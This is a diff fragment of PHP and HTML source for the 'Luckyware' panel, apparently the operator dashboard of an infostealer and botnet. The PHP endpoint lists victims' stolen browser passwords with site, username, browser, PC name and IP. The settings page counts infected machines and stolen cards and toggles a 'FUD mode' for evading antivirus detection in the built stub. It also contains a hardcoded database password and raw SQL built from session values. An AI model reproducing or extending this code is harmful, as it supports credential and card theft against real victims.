document.fonts.ready,
|
||||
new Promise(resolve => {
|
||||
// Check if all stylesheets are loaded
|
||||
const styleSheets = Array.from(document.styleSheets);
|
||||
if (styleSheets.every(sheet => sheet.loaded !== false)) {
|
||||
resolve();
|
||||
} else {
|
||||
window.addEventListener('load', resolve);
|
||||
}
|
||||
})
|
||||
]).then(() => {
|
||||
const overlay = document.querySelector('.loading-overlay');
|
||||
|
||||
// Add the fade-out class
|
||||
overlay.classList.add('fade-out');
|
||||
|
||||
// Remove the element after the transition completes
|
||||
overlay.addEventListener('transitionend', function() {
|
||||
overlay.parentNode.removeChild(overlay);
|
||||
}, {
|
||||
once: true
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// Preload custom fonts if you're using any
|
||||
const fonts = ['Kanit'];
|
||||
fonts.forEach(font => {
|
||||
new FontFace(font, `url(path/to/${font}.woff2)`)
|
||||
.load()
|
||||
.then(loadedFont => document.fonts.add(loadedFont));
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,309 @@
|
||||
<?php
|
||||
session_start();
|
||||
|
||||
// Set content type to JSON
|
||||
header('Content-Type: application/json');
|
||||
|
||||
// Validate session data
|
||||
$role = $_SESSION['Role'] ?? '';
|
||||
$username = $_SESSION['admin_name'] ?? '';
|
||||
$secretkey = $_SESSION['secret_key'] ?? '';
|
||||
|
||||
/**
|
||||
* Validate string length
|
||||
*/
|
||||
function isStringLengthGreaterThan5($inputString) {
|
||||
return is_string($inputString) && strlen($inputString) > 5;
|
||||
}
|
||||
|
||||
/**
|
||||
* Enhanced input sanitization with strict validation
|
||||
*/
|
||||
function sanitizeInput($input) {
|
||||
if (!is_string($input) || empty($input)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
// Define forbidden characters and SQL keywords
|
||||
$forbiddenChars = ['(', ')', '=', '*', ';', '--', '/*', '*/', 'union', 'select', 'insert', 'update', 'delete', 'drop'];
|
||||
|
||||
$input_lower = strtolower($input);
|
||||
|
||||
// Check for forbidden characters and SQL keywords
|
||||
foreach ($forbiddenChars as $char) {
|
||||
if (strpos($input_lower, strtolower($char)) !== false) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate user permissions
|
||||
*/
|
||||
function validateUserPermissions($role, $secretkey, $username) {
|
||||
if (empty($role) || empty($secretkey) || empty($username)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$validRoles = ['Founder', 'Admin', 'Special', 'Premium', 'Trial', 'User'];
|
||||
return in_array($role, $validRoles);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create secure database connection using PDO
|
||||
*/
|
||||
function createDatabaseConnection() {
|
||||
$host = 'localhost';
|
||||
$dbname = 'luckyminer';
|
||||
$db_username = 'miner';
|
||||
$db_password = 'Sifre.12345';
|
||||
|
||||
try {
|
||||
$pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $db_username, $db_password);
|
||||
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
|
||||
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
|
||||
return $pdo;
|
||||
} catch (PDOException $e) {
|
||||
error_log("Database connection failed: " . $e->getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Truncate text for display
|
||||
*/
|
||||
function truncateText($text, $maxLength) {
|
||||
if (strlen($text) > $maxLength) {
|
||||
return substr($text, 0, $maxLength) . '...';
|
||||
}
|
||||
return $text;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get browser name from browser ID
|
||||
*/
|
||||
function getBrowserName($browserId) {
|
||||
$browsers = [
|
||||
'1' => 'Edge',
|
||||
'2' => 'Chrome',
|
||||
'3' => 'Brave'
|
||||
];
|
||||
|
||||
return $browsers[$browserId] ?? 'Unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get user ID from accounts table
|
||||
*/
|
||||
function getUserId($pdo, $secretkey) {
|
||||
$stmt = $pdo->prepare("SELECT id FROM accounts WHERE OwnerKey = :owner_key");
|
||||
$stmt->bindValue(':owner_key', $secretkey, PDO::PARAM_STR);
|
||||
$stmt->execute();
|
||||
$result = $stmt->fetch();
|
||||
|
||||
return $result ? $result['id'] : null;
|
||||
}
|
||||
|
||||
// Main execution
|
||||
try {
|
||||
// Validate HTTP method
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
|
||||
throw new Exception('Invalid request method');
|
||||
}
|
||||
|
||||
// Validate session and permissions
|
||||
if (!validateUserPermissions($role, $secretkey, $username) || !isStringLengthGreaterThan5($secretkey)) {
|
||||
http_response_code(403);
|
||||
echo json_encode(['error' => 'Access denied - Invalid session or insufficient permissions']);
|
||||
exit;
|
||||
}
|
||||
|
||||
// Create database connection
|
||||
$pdo = createDatabaseConnection();
|
||||
if (!$pdo) {
|
||||
http_response_code(500);
|
||||
echo json_encode(['error' => 'Database connection failed']);
|
||||
exit;
|
||||
}
|
||||
|
||||
// Validate and sanitize DataTables parameters
|
||||
$draw = filter_input(INPUT_POST, 'draw', FILTER_VALIDATE_INT);
|
||||
$start = filter_input(INPUT_POST, 'start', FILTER_VALIDATE_INT);
|
||||
$length = filter_input(INPUT_POST, 'length', FILTER_VALIDATE_INT);
|
||||
|
||||
if ($draw === false || $start === false || $length === false) {
|
||||
throw new Exception('Invalid DataTables parameters');
|
||||
}
|
||||
|
||||
// Limit length to prevent excessive data retrieval
|
||||
$length = min($length, 1000);
|
||||
|
||||
// Get and validate search value
|
||||
$searchValue = '';
|
||||
if (isset($_POST['search']['value'])) {
|
||||
$rawSearchValue = $_POST['search']['value'];
|
||||
$sanitizedSearch = sanitizeInput($rawSearchValue);
|
||||
if (!empty($sanitizedSearch) && strlen($sanitizedSearch) > 0) {
|
||||
$searchValue = substr($sanitizedSearch, 0, 100); // Limit to 100 chars for security
|
||||
}
|
||||
}
|
||||
|
||||
// Define sortable columns (whitelist approach)
|
||||
$sortableColumns = [
|
||||
0 => 'passwords.Urls',
|
||||
1 => 'passwords.Username',
|
||||
2 => 'passwords.Pass',
|
||||
3 => 'passwords.Browser',
|
||||
4 => 'miners.PcName',
|
||||
5 => 'passwords.PassID'
|
||||
];
|
||||
|
||||
// Validate sorting parameters
|
||||
$orderColumnIndex = filter_input(INPUT_POST, 'order', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY);
|
||||
$orderColumn = 'passwords.PassID'; // Default sort column
|
||||
$orderDirection = 'DESC'; // Default sort direction
|
||||
|
||||
if (is_array($orderColumnIndex) && isset($orderColumnIndex[0]['column']) && isset($orderColumnIndex[0]['dir'])) {
|
||||
$columnIndex = intval($orderColumnIndex[0]['column']);
|
||||
$direction = strtoupper($orderColumnIndex[0]['dir']);
|
||||
|
||||
if (isset($sortableColumns[$columnIndex]) && in_array($direction, ['ASC', 'DESC'])) {
|
||||
$orderColumn = $sortableColumns[$columnIndex];
|
||||
$orderDirection = $direction;
|
||||
}
|
||||
}
|
||||
|
||||
// Build role-based WHERE clause
|
||||
$baseWhere = "WHERE 1 = 1";
|
||||
$params = [];
|
||||
|
||||
if ($role === "Founder") {
|
||||
if ($username !== "Hopesar") {
|
||||
$baseWhere .= " AND passwords.OwnerID NOT LIKE :exclude_owner";
|
||||
$params['exclude_owner'] = '%2%';
|
||||
}
|
||||
} else {
|
||||
// Get user ID for non-founder roles
|
||||
$userId = getUserId($pdo, $secretkey);
|
||||
if ($userId === null) {
|
||||
throw new Exception('Invalid user credentials');
|
||||
}
|
||||
|
||||
$baseWhere .= " AND passwords.OwnerID = :owner_id";
|
||||
$params['owner_id'] = $userId;
|
||||
}
|
||||
|
||||
// Add search conditions if search value exists
|
||||
$searchWhere = "";
|
||||
if (!empty($searchValue)) {
|
||||
$searchWhere = " AND (
|
||||
passwords.Urls LIKE :search1 OR
|
||||
passwords.Username LIKE :search2 OR
|
||||
passwords.Pass LIKE :search3 OR
|
||||
miners.PcName LIKE :search4
|
||||
)";
|
||||
$searchPattern = '%' . $searchValue . '%';
|
||||
$params['search1'] = $searchPattern;
|
||||
$params['search2'] = $searchPattern;
|
||||
$params['search3'] = $searchPattern;
|
||||
$params['search4'] = $searchPattern;
|
||||
}
|
||||
|
||||
// Build the main data query
|
||||
$dataQuery = "SELECT DISTINCT passwords.Urls, passwords.Username, passwords.Pass,
|
||||
passwords.Browser, passwords.PassID,
|
||||
miners.PcName,
|
||||
CONCAT(miners.IP, ' | ', miners.Country) AS IPCOUNTRaY
|
||||
FROM passwords
|
||||
LEFT JOIN miners ON passwords.HWID = miners.BotID
|
||||
$baseWhere $searchWhere
|
||||
ORDER BY $orderColumn $orderDirection
|
||||
LIMIT :start, :length";
|
||||
|
||||
$stmt = $pdo->prepare($dataQuery);
|
||||
|
||||
// Bind parameters
|
||||
foreach ($params as $key => $value) {
|
||||
$stmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
$stmt->bindValue(':start', $start, PDO::PARAM_INT);
|
||||
$stmt->bindValue(':length', $length, PDO::PARAM_INT);
|
||||
|
||||
$stmt->execute();
|
||||
$results = $stmt->fetchAll();
|
||||
|
||||
// Process results
|
||||
$data = [];
|
||||
foreach ($results as $row) {
|
||||
// Sanitize and truncate fields
|
||||
$urls = htmlspecialchars($row['Urls'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$username_field = htmlspecialchars($row['Username'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$password = htmlspecialchars($row['Pass'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$pcName = htmlspecialchars($row['PcName'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
$ipCountry = htmlspecialchars($row['IPCOUNTRaY'] ?? '', ENT_QUOTES, 'UTF-8');
|
||||
|
||||
// Truncate long values for display
|
||||
$truncatedUrls = truncateText($urls, 27);
|
||||
$truncatedUsername = truncateText($username_field, 22);
|
||||
$truncatedPassword = truncateText($password, 22);
|
||||
|
||||
// Get browser name
|
||||
$browserName = getBrowserName($row['Browser'] ?? '');
|
||||
|
||||
// Create secure clickable links
|
||||
$urlLink = '<a href="javascript:void(0);" class="hover-link" onclick="opensite(\'' . $urls . '\')">' . $truncatedUrls . '</a>';
|
||||
$usernameLink = '<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $username_field . '\')">' . $truncatedUsername . '</a>';
|
||||
$passwordLink = '<a href="javascript:void(0);" class="hover-link" onclick="copyText(\'' . $password . '\')">' . $truncatedPassword . '</a>';
|
||||
|
||||
$data[] = [
|
||||
$urlLink,
|
||||
$usernameLink,
|
||||
$passwordLink,
|
||||
$browserName,
|
||||
$pcName,
|
||||
$ipCountry
|
||||
];
|
||||
}
|
||||
|
||||
// Get total count
|
||||
$countQuery = "SELECT COUNT(DISTINCT passwords.PassID) as total
|
||||
FROM passwords
|
||||
LEFT JOIN miners ON passwords.HWID = miners.BotID
|
||||
$baseWhere $searchWhere";
|
||||
|
||||
$countStmt = $pdo->prepare($countQuery);
|
||||
|
||||
// Bind the same parameters for count query (excluding LIMIT params)
|
||||
foreach ($params as $key => $value) {
|
||||
$countStmt->bindValue(":$key", $value, PDO::PARAM_STR);
|
||||
}
|
||||
|
||||
$countStmt->execute();
|
||||
$totalRecords = $countStmt->fetch()['total'];
|
||||
|
||||
// Prepare response
|
||||
$response = [
|
||||
'draw' => $draw,
|
||||
'recordsTotal' => intval($totalRecords),
|
||||
'recordsFiltered' => intval($totalRecords),
|
||||
'data' => $data
|
||||
];
|
||||
|
||||
echo json_encode($response, JSON_UNESCAPED_UNICODE);
|
||||
|
||||
} catch (Exception $e) {
|
||||
// Log error and return generic error response
|
||||
error_log("Passwords DataTables Error: " . $e->getMessage());
|
||||
|
||||
http_response_code(500);
|
||||
echo json_encode([
|
||||
'draw' => $draw ?? 0,
|
||||
'recordsTotal' => 0,
|
||||
'recordsFiltered' => 0,
|
||||
'data' => [],
|
||||
'error' => 'An error occurred while processing your request'
|
||||
]);
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,866 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
$domainyess = $_SERVER['HTTP_HOST'];
|
||||
$secretkey = $_SESSION['secret_key'];
|
||||
$username = $_SESSION['admin_name'];
|
||||
$role = $_SESSION['Role'];
|
||||
if (!isset($_SESSION['admin_name'])) {
|
||||
header('location:../Login/');
|
||||
} else {
|
||||
|
||||
if ($role == 'User') {
|
||||
header('location: https://' . $domainyess . '/Subscriptions');
|
||||
}
|
||||
|
||||
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
|
||||
|
||||
if ($role == 'Founder') {
|
||||
|
||||
$selectu = "SELECT * FROM miners";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
|
||||
} else {
|
||||
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
|
||||
$resultu = mysqli_query($conn, $selectu);
|
||||
$mytk = mysqli_num_rows($resultu);
|
||||
|
||||
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
|
||||
$resultan = mysqli_query($conn, $selectan);
|
||||
$mystole = mysqli_num_rows($resultan);
|
||||
|
||||
|
||||
$fiveMinutesAgo = time() - 360;
|
||||
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
|
||||
}
|
||||
|
||||
$resultanss = mysqli_query($conn, $selectana);
|
||||
$myaktv = mysqli_num_rows($resultanss);
|
||||
}
|
||||
|
||||
function startsWith($haystack, $needle)
|
||||
{
|
||||
return strpos($haystack, $needle) === 0;
|
||||
}
|
||||
|
||||
function sanitizeInput($input)
|
||||
{
|
||||
// Define the list of forbidden characters
|
||||
$forbiddenChars = ['(', ')', '=', '*'];
|
||||
|
||||
$isac = '0';
|
||||
// Check if the input contains any forbidden characters
|
||||
foreach ($forbiddenChars as $char) {
|
||||
if (strpos($input, $char) !== false) {
|
||||
// Forbidden character found, handle the error (you can customize this part)
|
||||
$isac = '1';
|
||||
}
|
||||
}
|
||||
|
||||
if ($isac == '1') {
|
||||
|
||||
return 'NoSpecialChar';
|
||||
} else {
|
||||
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
|
||||
}
|
||||
}
|
||||
|
||||
function GetIP()
|
||||
{
|
||||
|
||||
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
|
||||
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
|
||||
}
|
||||
|
||||
|
||||
return $_SERVER['REMOTE_ADDR'];
|
||||
}
|
||||
|
||||
|
||||
function getCountryCode($ip)
|
||||
{
|
||||
|
||||
$url = "http://ipinfo.io/{$ip}/json";
|
||||
$response = file_get_contents($url);
|
||||
$data = json_decode($response, true);
|
||||
|
||||
return $data['country'] ?? 'Unknown';
|
||||
}
|
||||
|
||||
$holdwbhk;
|
||||
// Query to fetch the value from the "wallet" column
|
||||
$webbby = "SELECT WebhookScr FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here
|
||||
|
||||
$resultwebby = mysqli_query($conn, $webbby);
|
||||
|
||||
if ($resultwebby->num_rows > 0) {
|
||||
// Display the value from the "wallet" column
|
||||
$rowanan = $resultwebby->fetch_assoc();
|
||||
$WBRaw = $rowanan["WebhookScr"];
|
||||
|
||||
if (empty($WBRaw)) {
|
||||
$holdwbhk = 'You will recieve ip addres and time of each login, Discord webhook only!';
|
||||
} else {
|
||||
$holdwbhk = 'Setted to ' . $WBRaw;
|
||||
}
|
||||
}
|
||||
|
||||
$holdSCRTY;
|
||||
// Query to fetch the value from the "wallet" column
|
||||
$SecuirtyCtry = "SELECT SecuirtyCountry FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here
|
||||
|
||||
$resultctryy = mysqli_query($conn, $SecuirtyCtry);
|
||||
|
||||
if ($resultctryy->num_rows > 0) {
|
||||
// Display the value from the "wallet" column
|
||||
$rowanancrty = $resultctryy->fetch_assoc();
|
||||
$CountryRw = $rowanancrty["SecuirtyCountry"];
|
||||
|
||||
if ($CountryRw == "X") {
|
||||
$holdSCRTY = 'Account Country Lock Is Disabled.';
|
||||
} else {
|
||||
$holdSCRTY = 'Account Country Lock Is Enabled, Locked Country Code: ' . $CountryRw;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
$HoldFUD;
|
||||
// Query to fetch the value from the "wallet" column
|
||||
$FUDWRR = "SELECT FUDM FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here
|
||||
|
||||
$ResultFUD = mysqli_query($conn, $FUDWRR);
|
||||
|
||||
if ($ResultFUD->num_rows > 0) {
|
||||
// Display the value from the "wallet" column
|
||||
$FUDRS = $ResultFUD->fetch_assoc();
|
||||
$IsFUDD = $FUDRS["FUDM"];
|
||||
|
||||
if ($IsFUDD == "disabled") {
|
||||
$HoldFUD = 'FUD Mode for stub is Disabled.';
|
||||
} else {
|
||||
$HoldFUD = 'FUD Mode for stub is Enabled.';
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
if (isset($_POST["wbhkscr"])) {
|
||||
|
||||
$webhkk = sanitizeInput($_POST['webhook1']);
|
||||
|
||||
if (startsWith($webhkk, "https://discord.com/api/webhooks/") || startsWith($webhkk, "https://discordapp.com/api/webhooks/")) {
|
||||
$sql = "UPDATE accounts SET WebhookScr=? WHERE OwnerKey=?";
|
||||
$stmt = $conn->prepare($sql);
|
||||
$stmt->bind_param("ss", $webhkk, $secretkey);
|
||||
|
||||
if ($stmt->execute()) {
|
||||
header("Refresh:0");
|
||||
} else {
|
||||
header("Refresh:0");
|
||||
}
|
||||
} else {
|
||||
echo "<script type='text/javascript'>alert('Only Accepted Format: https://discord.com/api/webhooks/....');</script>";
|
||||
}
|
||||
}
|
||||
|
||||
if (isset($_POST["disbbl"])) {
|
||||
|
||||
$nono = "X";
|
||||
$sql = "UPDATE accounts SET SecuirtyCountry=? WHERE OwnerKey=?";
|
||||
$stmt = $conn->prepare($sql);
|
||||
$stmt->bind_param("ss", $nono, $secretkey);
|
||||
|
||||
if ($stmt->execute()) {
|
||||
$holdSCRTY = 'Account Country Lock Is Disabled.';
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
if (isset($_POST["enebel"])) {
|
||||
|
||||
$IP = GetIP();
|
||||
|
||||
$Kanty = getCountryCode($IP);
|
||||
|
||||
if ($Kanty == "Unknown") {
|
||||
echo "<script type='text/javascript'>alert('Your country cannot be fetched, probaly because of your ip.');</script>";
|
||||
} else {
|
||||
$sql = "UPDATE accounts SET SecuirtyCountry=? WHERE OwnerKey=?";
|
||||
$stmt = $conn->prepare($sql);
|
||||
$stmt->bind_param("ss", $Kanty, $secretkey);
|
||||
|
||||
if ($stmt->execute()) {
|
||||
$holdSCRTY = 'Account Country Lock Is Enabled, Locked Country Code: ' . $Kanty;
|
||||
} else {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (isset($_POST["disbblfd"])) {
|
||||
|
||||
$nono = "disabled";
|
||||
$sql = "UPDATE accounts SET FUDM=? WHERE OwnerKey=?";
|
||||
$stmt = $conn->prepare($sql);
|
||||
$stmt->bind_param("ss", $nono, $secretkey);
|
||||
|
||||
if ($stmt->execute()) {
|
||||
$HoldFUD = 'FUD Mode for stub is Disabled.';
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
if (isset($_POST["enebelfd"])) {
|
||||
|
||||
$evett = "enabled";
|
||||
$sql = "UPDATE accounts SET FUDM=? WHERE OwnerKey=?";
|
||||
$stmt = $conn->prepare($sql);
|
||||
$stmt->bind_param("ss", $evett, $secretkey);
|
||||
|
||||
if ($stmt->execute()) {
|
||||
$HoldFUD = 'FUD Mode for stub is Enabled.';
|
||||
} else {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link rel="stylesheet" href="../assets/css/custom.css">
|
||||
<link rel="stylesheet" href="../assets/css/style.css">
|
||||
<link rel="stylesheet" href="../assets/css/hover.css">
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
|
||||
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
|
||||
<meta content="Luckyware" property="og:title" />
|
||||
<meta content="Luck is something you make and victory is something u take" property="og:description" />
|
||||
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
|
||||
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
|
||||
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
|
||||
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
|
||||
<link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.4.2/css/all.css">
|
||||
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
|
||||
<script type="text/javascript" charset="utf8"
|
||||
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
|
||||
<title>Settings</title>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: #111111;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
opacity: 1;
|
||||
visibility: visible;
|
||||
/* Add visibility property */
|
||||
transition: all 1s ease;
|
||||
/* Longer transition and apply to all */
|
||||
}
|
||||
|
||||
.loading-overlay.fade-out {
|
||||
opacity: 0;
|
||||
visibility: hidden;
|
||||
/* Hide element after fade */
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 3px solid #333;
|
||||
border-radius: 50%;
|
||||
border-top-color: #850000;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
/* Custom DataTable styles */
|
||||
#DashTable {
|
||||
border-radius: 0.5rem;
|
||||
background-color: var(--background);
|
||||
border-collapse: separate;
|
||||
border-spacing: 0 0.7rem;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#DashTable th {
|
||||
font-family: 'Kanit', sans-serif;
|
||||
font-weight: 500;
|
||||
color: #e7e5e4;
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
padding: 10px;
|
||||
border-bottom: 1px solid var(--background);
|
||||
}
|
||||
|
||||
#DashTable tr {
|
||||
background-color: var(--background);
|
||||
border-radius: 0.5rem;
|
||||
}
|
||||
|
||||
#DashTable td {
|
||||
background-color: #151515;
|
||||
color: #a8a29e;
|
||||
text-align: center;
|
||||
border-bottom: 1px solid var(--background);
|
||||
padding: 10px;
|
||||
font-weight: 100;
|
||||
font-family: 'Kanit', sans-serif;
|
||||
}
|
||||
|
||||
#DashTable td:first-child {
|
||||
border-radius: 0.5rem 0 0 0.5rem;
|
||||
/* Rounded corners on the left side */
|
||||
}
|
||||
|
||||
#DashTable td:last-child {
|
||||
border-radius: 0 0.5rem 0.5rem 0;
|
||||
/* Rounded corners on the right side */
|
||||
}
|
||||
|
||||
#DashTable tbody tr:hover {
|
||||
background-color: var(--main-hover-color);
|
||||
color: #D6D3D1;
|
||||
}
|
||||
|
||||
/* Custom hover link color */
|
||||
.hover-link {
|
||||
color: #111111;
|
||||
transition: color 0.3s ease-in-out;
|
||||
}
|
||||
|
||||
.hover-link:hover {
|
||||
color: #f54b42;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button {
|
||||
background-color: #151515;
|
||||
/* Add !important to ensure white color */
|
||||
border: none;
|
||||
padding: 7px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
color: #a8a29e;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
.dataTables_wrapper .dataTables_paginate .paginate_button.current {
|
||||
background-color: #850000;
|
||||
color: #e7e5e4;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Text color for elements like "Showing x to x of x entries" */
|
||||
.dataTables_info,
|
||||
.dataTables_length,
|
||||
.dataTables_paginate,
|
||||
.dataTables_filter {
|
||||
color: #a8a29e !important;
|
||||
margin-bottom: 7px;
|
||||
/* Add space below these elements */
|
||||
}
|
||||
|
||||
/* Add space between "Show entries" and pagination controls */
|
||||
.dataTables_length,
|
||||
.dataTables_paginate {
|
||||
margin-top: 7px;
|
||||
}
|
||||
|
||||
/* Color for the "Show x entries" dropdown and options */
|
||||
.dataTables_length select {
|
||||
background-color: #111111 !important;
|
||||
color: #d6d3d1 !important;
|
||||
border: 1px solid #181818 !important;
|
||||
/* Remove border to make it borderless */
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* Color for the pagination controls */
|
||||
.dataTables_paginate a,
|
||||
.dataTables_paginate span,
|
||||
.dataTables_paginate .ellipsis {
|
||||
background-color: #111111;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
padding: 5px 10px;
|
||||
margin: 2px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* Hover color for pagination controls */
|
||||
.dataTables_paginate a:hover {
|
||||
background-color: #181818;
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* Current page number color */
|
||||
.dataTables_paginate .current {
|
||||
background-color: #850000;
|
||||
color: #d6d3d1 !important;
|
||||
/* Important to override DataTable's default styles */
|
||||
border: none;
|
||||
}
|
||||
|
||||
/* DataTable search box styles */
|
||||
.dataTables_wrapper .dataTables_filter input {
|
||||
background-color: var(--background);
|
||||
color: #ffffff;
|
||||
border: 1px solid #181818;
|
||||
/* Add a 1px gray border */
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
/* DataTable ordering arrow styles */
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_asc:before,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:after,
|
||||
.dataTables_wrapper .dataTables_wrapper .sorting_desc:before {
|
||||
color: var(--main-color);
|
||||
}
|
||||
|
||||
/* DataTable table responsive */
|
||||
.table-responsive {
|
||||
background-color: #111111;
|
||||
color: #D6D3D1;
|
||||
padding: 15px;
|
||||
border-radius: 5px;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
/* DataTable scrollbar styles (if needed) */
|
||||
#DashTable::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-thumb {
|
||||
background-color: var(--main-color);
|
||||
}
|
||||
|
||||
#DashTable::-webkit-scrollbar-track {
|
||||
background-color: var(--secondary-background);
|
||||
}
|
||||
|
||||
|
||||
.current {
|
||||
background-color: #850000;
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
document.documentElement.classList.add('js');
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body class="dg">
|
||||
<div class="loading-overlay">
|
||||
<div class="loading-spinner"></div>
|
||||
</div>
|
||||
<div class="grid xl:grid-cols-12"> <!-- start -->
|
||||
|
||||
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
|
||||
<div class="1">
|
||||
<div class="flex justify-center mt-10">
|
||||
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
|
||||
Lucky <span class="textCol">Ware</span>
|
||||
</h1>
|
||||
</div>
|
||||
<div class="mx-5 mt-6">
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
|
||||
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
|
||||
<div class="grid grid-cols-2">
|
||||
<div class="1">
|
||||
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
|
||||
</div>
|
||||
<div class="2 text-right">
|
||||
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
|
||||
